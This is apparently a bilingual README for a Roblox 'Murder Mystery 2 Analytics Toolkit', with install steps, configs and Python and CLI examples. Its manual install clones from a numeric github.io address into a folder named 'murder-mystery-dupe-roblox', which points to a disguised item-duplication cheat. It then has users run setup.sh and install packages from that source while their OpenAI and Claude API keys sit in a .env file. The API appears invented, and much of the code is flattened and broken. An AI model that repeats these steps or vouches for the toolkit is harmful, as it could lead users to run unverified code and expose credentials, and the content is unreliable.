Murder Mystery 2 Analytics Toolkit

Murder Mystery 2 分析工具包

Skill by ara.so — Data Skills collection.

This toolkit provides analytics, inventory management, and strategic gameplay insights for Roblox's Murder Mystery 2 game. It includes data visualization, collection tracking, performance metrics, and AI-powered strategy recommendations.

由ara.so开发的Skill——数据技能合集。

本工具包为Roblox的《Murder Mystery 2》游戏提供数据分析、库存管理及策略玩法洞察功能，包含数据可视化、藏品追踪、性能指标统计以及AI驱动的策略建议。

Installation

安装

Automated Setup

自动安装

bash

chmod +x setup.sh
./setup.sh --install

bash

chmod +x setup.sh
./setup.sh --install

Manual Installation

手动安装

bash

git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt

bash

git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt

Environment Configuration

环境配置

Create a

.env

file with required API keys:

bash

API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true

创建

.env

文件并填入所需API密钥：

bash

API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true

Core Commands

核心命令

Analytics Engine

分析引擎

Run comprehensive analytics on your MM2 profile:

bash

python3 main.py --mode analytics \
    --profile <username> \
    --export <output_file>.json \
    --format json \
    --verbose --log-level DEBUG

Example:

bash

python3 main.py --mode analytics \
    --profile mystery_solver_01 \
    --export statistics_2026.json \
    --format json \
    --verbose --log-level DEBUG

对MM2游戏档案运行全面分析：

bash

python3 main.py --mode analytics \
    --profile <username> \
    --export <output_file>.json \
    --format json \
    --verbose --log-level DEBUG

示例：

bash

python3 main.py --mode analytics \
    --profile mystery_solver_01 \
    --export statistics_2026.json \
    --format json \
    --verbose --log-level DEBUG

Inventory Tracking

库存追踪

Scan and catalog your knife skins collection:

bash

python3 main.py --mode inventory \
    --scan-knives \
    --filter legendary,ancient \
    --export inventory_report.csv

扫描并分类你的刀具皮肤藏品：

bash

python3 main.py --mode inventory \
    --scan-knives \
    --filter legendary,ancient \
    --export inventory_report.csv

Strategy Analysis

策略分析

Generate AI-powered strategy recommendations:

bash

python3 main.py --mode strategy \
    --role sheriff \
    --analyze-patterns \
    --export strategy_insights.json

生成AI驱动的策略建议：

bash

python3 main.py --mode strategy \
    --role sheriff \
    --analyze-patterns \
    --export strategy_insights.json

Configuration

配置

Profile Configuration (YAML)

档案配置（YAML格式）

Create

config/profile.yaml

:

yaml

profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"

创建

config/profile.yaml

：

yaml

profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"

JSON Configuration

JSON配置

Alternatively, use

config/profile.json

:

json

{
  "profile": {
    "username": "MysterySolver2026",
    "preferred_role": "sheriff",
    "inventory_filter": [
      {
        "category": "knife_skins",
        "rarity": ["legendary", "ancient"]
      }
    ],
    "analytics_preferences": {
      "tracking_mode": "comprehensive",
      "data_refresh_rate": 30,
      "export_format": ["csv", "json"]
    }
  }
}

也可使用

config/profile.json

：

json

{
  "profile": {
    "username": "MysterySolver2026",
    "preferred_role": "sheriff",
    "inventory_filter": [
      {
        "category": "knife_skins",
        "rarity": ["legendary", "ancient"]
      }
    ],
    "analytics_preferences": {
      "tracking_mode": "comprehensive",
      "data_refresh_rate": 30,
      "export_format": ["csv", "json"]
    }
  }
}

Python API Usage

Python API 使用方法

Basic Analytics Session

基础分析会话

python

from mm2_analytics import AnalyticsEngine, Profile

python

from mm2_analytics import AnalyticsEngine, Profile

Initialize profile

初始化档案

profile = Profile.load("mystery_solver_01")

Create analytics engine

创建分析引擎

engine = AnalyticsEngine(profile)

Run comprehensive analysis

运行全面分析

results = engine.analyze( mode="comprehensive", include_inventory=True, include_stats=True, include_strategy=True )

Export results

导出结果

engine.export(results, format="json", output="stats_2026.json")

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engine.export(results, format="json", output="stats_2026.json")

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Inventory Management

库存管理

python

from mm2_analytics import InventoryManager

python

from mm2_analytics import InventoryManager

Initialize inventory manager

初始化库存管理器

inventory = InventoryManager(username="mystery_solver_01")

Scan for knife skins

扫描刀具皮肤

knives = inventory.scan_knives( filter_rarity=["legendary", "ancient"], include_metadata=True )

Get collection completeness

获取藏品完成度

completeness = inventory.get_completeness_score() print(f"Collection {completeness}% complete")

completeness = inventory.get_completeness_score() print(f"藏品完成度：{completeness}%")

Find missing items

查找缺失物品

missing = inventory.find_missing_items(category="knife_skins") for item in missing: print(f"Missing: {item.name} (Rarity: {item.rarity})")

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missing = inventory.find_missing_items(category="knife_skins") for item in missing: print(f"缺失：{item.name}（稀有度：{item.rarity}）")

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Strategy Analysis

策略分析

python

from mm2_analytics import StrategyAnalyzer

python

from mm2_analytics import StrategyAnalyzer

Initialize strategy analyzer

初始化策略分析器

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

Analyze win patterns

分析获胜模式

patterns = analyzer.analyze_win_patterns( role="sheriff", time_period="last_30_days" )

Get AI recommendations

获取AI建议

recommendations = analyzer.get_ai_recommendations( role="sheriff", playstyle="aggressive", use_openai=True # Uses API_OPENAI_KEY from env )

for rec in recommendations: print(f"Strategy: {rec.title}") print(f"Description: {rec.description}") print(f"Expected Win Rate Increase: {rec.impact}%")

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recommendations = analyzer.get_ai_recommendations( role="sheriff", playstyle="aggressive", use_openai=True # 使用.env中的API_OPENAI_KEY )

for rec in recommendations: print(f"策略：{rec.title}") print(f"描述：{rec.description}") print(f"预期胜率提升：{rec.impact}%")

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Data Visualization

数据可视化

python

from mm2_analytics import DataVisualizer

python

from mm2_analytics import DataVisualizer

Create visualizer

创建可视化工具

viz = DataVisualizer(profile="mystery_solver_01")

Generate performance chart

生成性能图表

viz.create_performance_chart( metric="win_rate", time_range="last_90_days", output="performance.png" )

Create inventory distribution chart

创建库存分布图表

viz.create_inventory_chart( category="knife_skins", group_by="rarity", output="inventory_distribution.png" )

Export interactive dashboard

导出交互式仪表盘

viz.export_dashboard( format="html", output="dashboard.html", include_charts=["performance", "inventory", "strategy"] )

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viz.export_dashboard( format="html", output="dashboard.html", include_charts=["performance", "inventory", "strategy"] )

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Common Patterns

常见使用模式

Complete Analysis Workflow

完整分析工作流

python

from mm2_analytics import (
    Profile,
    AnalyticsEngine,
    InventoryManager,
    StrategyAnalyzer,
    DataVisualizer
)

python

from mm2_analytics import (
    Profile,
    AnalyticsEngine,
    InventoryManager,
    StrategyAnalyzer,
    DataVisualizer
)

Load profile

加载档案

profile = Profile.load("mystery_solver_01")

Run inventory scan

运行库存扫描

inventory = InventoryManager(profile=profile) inventory.scan_all() inv_report = inventory.generate_report()

Analyze gameplay statistics

分析游戏统计数据

engine = AnalyticsEngine(profile) stats = engine.get_stats(time_period="last_30_days")

Generate strategy recommendations

生成策略建议

strategy = StrategyAnalyzer(profile) recommendations = strategy.get_recommendations( role=profile.preferred_role, use_ai=True )

Create visualizations

创建可视化内容

viz = DataVisualizer(profile) viz.create_dashboard( include_inventory=True, include_stats=True, include_strategy=True, output="full_dashboard.html" )

Export comprehensive report

导出综合报告

engine.export_comprehensive_report( inventory=inv_report, stats=stats, recommendations=recommendations, format="pdf", output="mm2_analysis_2026.pdf" )

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engine.export_comprehensive_report( inventory=inv_report, stats=stats, recommendations=recommendations, format="pdf", output="mm2_analysis_2026.pdf" )

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Real-time Tracking

实时追踪

python

from mm2_analytics import LiveTracker
import time

python

from mm2_analytics import LiveTracker
import time

Initialize live tracker

初始化实时追踪器

tracker = LiveTracker( profile="mystery_solver_01", refresh_interval=30 # seconds )

tracker = LiveTracker( profile="mystery_solver_01", refresh_interval=30 # 秒 )

Start tracking session

启动追踪会话

tracker.start()

try: while True: # Get current session stats current = tracker.get_current_session()

    print(f"Games Played: {current.games_played}")
    print(f"Win Rate: {current.win_rate}%")
    print(f"Role Distribution: {current.role_distribution}")
    
    time.sleep(30)

except KeyboardInterrupt: # Stop tracking and save session session_data = tracker.stop() tracker.export(session_data, output="session_2026.json")

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tracker.start()

try: while True: # 获取当前会话统计 current = tracker.get_current_session()

    print(f"已玩游戏数：{current.games_played}")
    print(f"胜率：{current.win_rate}%")
    print(f"角色分布：{current.role_distribution}")
    
    time.sleep(30)

except KeyboardInterrupt: # 停止追踪并保存会话 session_data = tracker.stop() tracker.export(session_data, output="session_2026.json")

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Batch Processing Multiple Profiles

批量处理多个档案

python

from mm2_analytics import BatchProcessor

python

from mm2_analytics import BatchProcessor

Initialize batch processor

初始化批量处理器

processor = BatchProcessor()

Add profiles to process

添加待处理档案

profiles = ["player1", "player2", "player3"] processor.add_profiles(profiles)

Run batch analysis

运行批量分析

results = processor.analyze_all( mode="comprehensive", parallel=True, max_workers=4 )

Export consolidated report

导出合并报告

processor.export_consolidated_report( results=results, format="xlsx", output="team_analysis_2026.xlsx" )

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processor.export_consolidated_report( results=results, format="xlsx", output="team_analysis_2026.xlsx" )

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CLI Command Reference

CLI命令参考

Analytics Commands

分析命令

bash

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Basic analytics

基础分析

python3 main.py --mode analytics --profile <username>

With specific time range

指定时间范围

python3 main.py --mode analytics --profile <username> --time-range 30d

Export to specific format

导出为指定格式

python3 main.py --mode analytics --profile <username> --export stats.csv --format csv

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python3 main.py --mode analytics --profile <username> --export stats.csv --format csv

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Inventory Commands

库存命令

bash

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bash

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Scan all inventory

扫描全部库存

python3 main.py --mode inventory --scan-all

Filter by category and rarity

按类别和稀有度筛选

python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient

Find missing items

查找缺失物品

python3 main.py --mode inventory --find-missing --category knife_skins

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python3 main.py --mode inventory --find-missing --category knife_skins

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Strategy Commands

策略命令

bash

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bash

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Generate strategy recommendations

生成策略建议

python3 main.py --mode strategy --role sheriff --analyze-patterns

AI-powered recommendations

AI驱动的建议

python3 main.py --mode strategy --role murderer --use-ai --provider openai

Export strategy report

导出策略报告

python3 main.py --mode strategy --export strategy.pdf --format pdf

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python3 main.py --mode strategy --export strategy.pdf --format pdf

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Visualization Commands

可视化命令

bash

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bash

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Create dashboard

创建仪表盘

python3 main.py --mode visualize --create-dashboard --output dashboard.html

Generate specific charts

生成指定图表

python3 main.py --mode visualize --chart performance --output perf.png

Export interactive report

导出交互式报告

python3 main.py --mode visualize --interactive --output report.html

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python3 main.py --mode visualize --interactive --output report.html

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Troubleshooting

故障排除

Inventory Sync Issues

库存同步问题

If inventory data is not syncing:

python

from mm2_analytics import InventoryManager

inventory = InventoryManager(username="mystery_solver_01")

如果库存数据无法同步：

python

from mm2_analytics import InventoryManager

inventory = InventoryManager(username="mystery_solver_01")

Force refresh

强制刷新

inventory.force_refresh()

Clear cache and rescan

清除缓存并重扫描

inventory.clear_cache() inventory.scan_all(force=True)

Verify connection

验证连接状态

status = inventory.check_connection() print(f"Connection Status: {status}")

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status = inventory.check_connection() print(f"连接状态：{status}")

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API Rate Limiting

API速率限制

Handle API rate limits gracefully:

python

from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

try:
    recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
    print(f"Rate limit hit. Retry after {e.retry_after} seconds")
    time.sleep(e.retry_after)
    recommendations = analyzer.get_ai_recommendations(use_openai=True)

优雅处理API速率限制：

python

from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

try:
    recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
    print(f"触发速率限制。{e.retry_after}秒后重试")
    time.sleep(e.retry_after)
    recommendations = analyzer.get_ai_recommendations(use_openai=True)

Data Export Failures

数据导出失败

Debug export issues:

python

from mm2_analytics import AnalyticsEngine
import logging

调试导出问题：

python

from mm2_analytics import AnalyticsEngine
import logging

Enable verbose logging

启用详细日志

logging.basicConfig(level=logging.DEBUG)

engine = AnalyticsEngine(profile="mystery_solver_01") results = engine.analyze()

try: engine.export(results, format="json", output="stats.json") except Exception as e: # Log detailed error logging.error(f"Export failed: {e}")

# Try alternative format
engine.export(results, format="csv", output="stats.csv")

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logging.basicConfig(level=logging.DEBUG)

engine = AnalyticsEngine(profile="mystery_solver_01") results = engine.analyze()

try: engine.export(results, format="json", output="stats.json") except Exception as e: # 记录详细错误 logging.error(f"导出失败：{e}")

# 尝试替代格式
engine.export(results, format="csv", output="stats.csv")

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Performance Optimization

性能优化

For large datasets:

python

from mm2_analytics import AnalyticsEngine

engine = AnalyticsEngine(
    profile="mystery_solver_01",
    cache_enabled=True,
    parallel_processing=True,
    max_workers=4
)

针对大型数据集：

python

from mm2_analytics import AnalyticsEngine

engine = AnalyticsEngine(
    profile="mystery_solver_01",
    cache_enabled=True,
    parallel_processing=True,
    max_workers=4
)

Use incremental analysis for large time ranges

对长时间范围使用增量分析

results = engine.analyze_incremental( start_date="2026-01-01", end_date="2026-12-31", chunk_size="30d" )

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results = engine.analyze_incremental( start_date="2026-01-01", end_date="2026-12-31", chunk_size="30d" )

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Advanced Features

高级功能

Custom Data Filters

自定义数据筛选器

python

from mm2_analytics import DataFilter

python

from mm2_analytics import DataFilter

Create custom filter

创建自定义筛选器

filter = DataFilter() filter.add_condition("role", "equals", "sheriff") filter.add_condition("win_rate", "greater_than", 0.5) filter.add_condition("games_played", "between", [10, 100])

Apply filter to analysis

将筛选器应用于分析

engine = AnalyticsEngine(profile="mystery_solver_01") filtered_results = engine.analyze(filter=filter)

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engine = AnalyticsEngine(profile="mystery_solver_01") filtered_results = engine.analyze(filter=filter)

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AI Model Selection

AI模型选择

python

from mm2_analytics import StrategyAnalyzer

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

python

from mm2_analytics import StrategyAnalyzer

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

Use OpenAI

使用OpenAI

openai_recs = analyzer.get_ai_recommendations( provider="openai", model="gpt-4", api_key="${OPENAI_API_KEY}" )

Use Claude

使用Claude

claude_recs = analyzer.get_ai_recommendations( provider="claude", model="claude-3-opus", api_key="${CLAUDE_API_KEY}" )

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claude_recs = analyzer.get_ai_recommendations( provider="claude", model="claude-3-opus", api_key="${CLAUDE_API_KEY}" )

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Multi-Language Support

多语言支持

python

from mm2_analytics import AnalyticsEngine

python

from mm2_analytics import AnalyticsEngine

Set language for reports

设置报告语言

engine = AnalyticsEngine( profile="mystery_solver_01", language="es" # Spanish )

engine = AnalyticsEngine( profile="mystery_solver_01", language="es" # 西班牙语 )

Generate localized report

生成本地化报告

report = engine.generate_report(localized=True)


This toolkit is designed for analytical and educational purposes. Always comply with Roblox Terms of Service when collecting and analyzing game data.

report = engine.generate_report(localized=True)


本工具包仅用于分析和教育目的。收集和分析游戏数据时，请始终遵守Roblox服务条款。

murder-mystery-2-analytics-toolkit

Original

Translation

Murder Mystery 2 Analytics Toolkit

Murder Mystery 2 分析工具包

Installation

安装

Automated Setup

自动安装

Manual Installation

手动安装

Environment Configuration

环境配置

Core Commands

核心命令

Analytics Engine

分析引擎

Inventory Tracking

库存追踪

Strategy Analysis

策略分析

Configuration

配置

Profile Configuration (YAML)

档案配置（YAML格式）

JSON Configuration

JSON配置

Python API Usage

Python API 使用方法

Basic Analytics Session

基础分析会话

Initialize profile

初始化档案

Create analytics engine

创建分析引擎

Run comprehensive analysis

运行全面分析

Export results

导出结果

Inventory Management

库存管理

Initialize inventory manager

初始化库存管理器

Scan for knife skins

扫描刀具皮肤

Get collection completeness

获取藏品完成度

Find missing items

查找缺失物品

Strategy Analysis

策略分析

Initialize strategy analyzer

初始化策略分析器

Analyze win patterns

分析获胜模式

Get AI recommendations

获取AI建议

Data Visualization

数据可视化

Create visualizer

创建可视化工具

Generate performance chart

生成性能图表

Create inventory distribution chart

创建库存分布图表

Export interactive dashboard

导出交互式仪表盘

Common Patterns

常见使用模式

Complete Analysis Workflow

完整分析工作流

Load profile

加载档案

Run inventory scan

运行库存扫描

Analyze gameplay statistics

分析游戏统计数据

Generate strategy recommendations

生成策略建议

Create visualizations